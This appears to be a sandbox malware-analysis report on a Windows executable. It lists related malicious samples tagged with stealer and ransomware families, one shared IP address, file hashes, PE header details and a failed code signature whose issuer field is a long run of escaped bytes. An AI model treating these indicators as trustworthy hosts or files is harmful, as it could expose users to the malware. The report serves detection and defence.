	noDmpaxL0x.exe	Get hash	malicious	Babuk, Djvu, Glupteba, SmokeLoader, Xehook Stealer	Browse	172.67.147.173
	doTtQFWKly.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xehook Stealer	Browse	172.67.147.173
	fkKnbYXN8B.exe	Get hash	malicious	LummaC	Browse	172.67.147.173
	rbx59IIp4z.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.147.173
	Yw502Cdx4o.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	172.67.147.173
	PRODUCTS.bat	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.147.173
	UzMahCzo58.exe	Get hash	malicious	LummaC, GCleaner, LummaC Stealer	Browse	172.67.147.173
	oXc62oFXIf.exe	Get hash	malicious	LummaC	Browse	172.67.147.173
	Mgm___SharedGuideline.PDF.rtf	Get hash	malicious	Unknown	Browse	172.67.147.173

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.932605920092943
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ag3ijL3z1w.exe
File size:	2'444'904 bytes
MD5:	038f01c7ab34d20394b657ce5d5f3152
SHA1:	7f82fb84c6c0aff1012675d48ba95b0558d3230f
SHA256:	28119987147a63910d12662c2008089f85571817695dcd443d02303d52479c55
SHA512:	4e0e25bfabb8882b58341205ee60f3f5dd83a9b93518aa3badd433b784531244fcc9bb07981461a6a382dbd2d1c4de211731156f8768f7cc8e61e0a7c0689a86
SSDEEP:	49152:hKmuqADBjtRsLNcMH/YShDiSeYeCnhm1nWxZKf95EhjLnFpVrQk:hqJic4/YShWNpygwZVjLnFck
TLSH:	43B51285E69DAA94DC4E007E1B0FB67C31F419AF09508E26D4685FF1D8E2D3C26FA346
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....8.e.................\............6...........@..........................p9.......%...@..................................T.....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x769f81
Entrypoint Section:	.vmp$PH
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65FB38B6 [Wed Mar 20 19:27:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8e037c5edb507011bc10ab16654e5d05

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe7\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe7\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xcb\xe6\xaf\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xaf\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xcb\xe6\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xca\xe7\xaf\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	20/03/2024 11:11:46 21/03/2034 11:11:46
Subject Chain	CN=\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe7\xaf\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe7\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xaf\xcb\xe7\xb0\xca\xe7\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xaf\xca\xe6\xaf\xcb\xe6\xb0\xcb\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xca\xe6\xb0\xcb\xe6\xb0\xcb\xe6\xb0\xcb\xe7\xaf\xca\xe6\xaf\xca\xe6\xb0\xca\xe6\xb0\x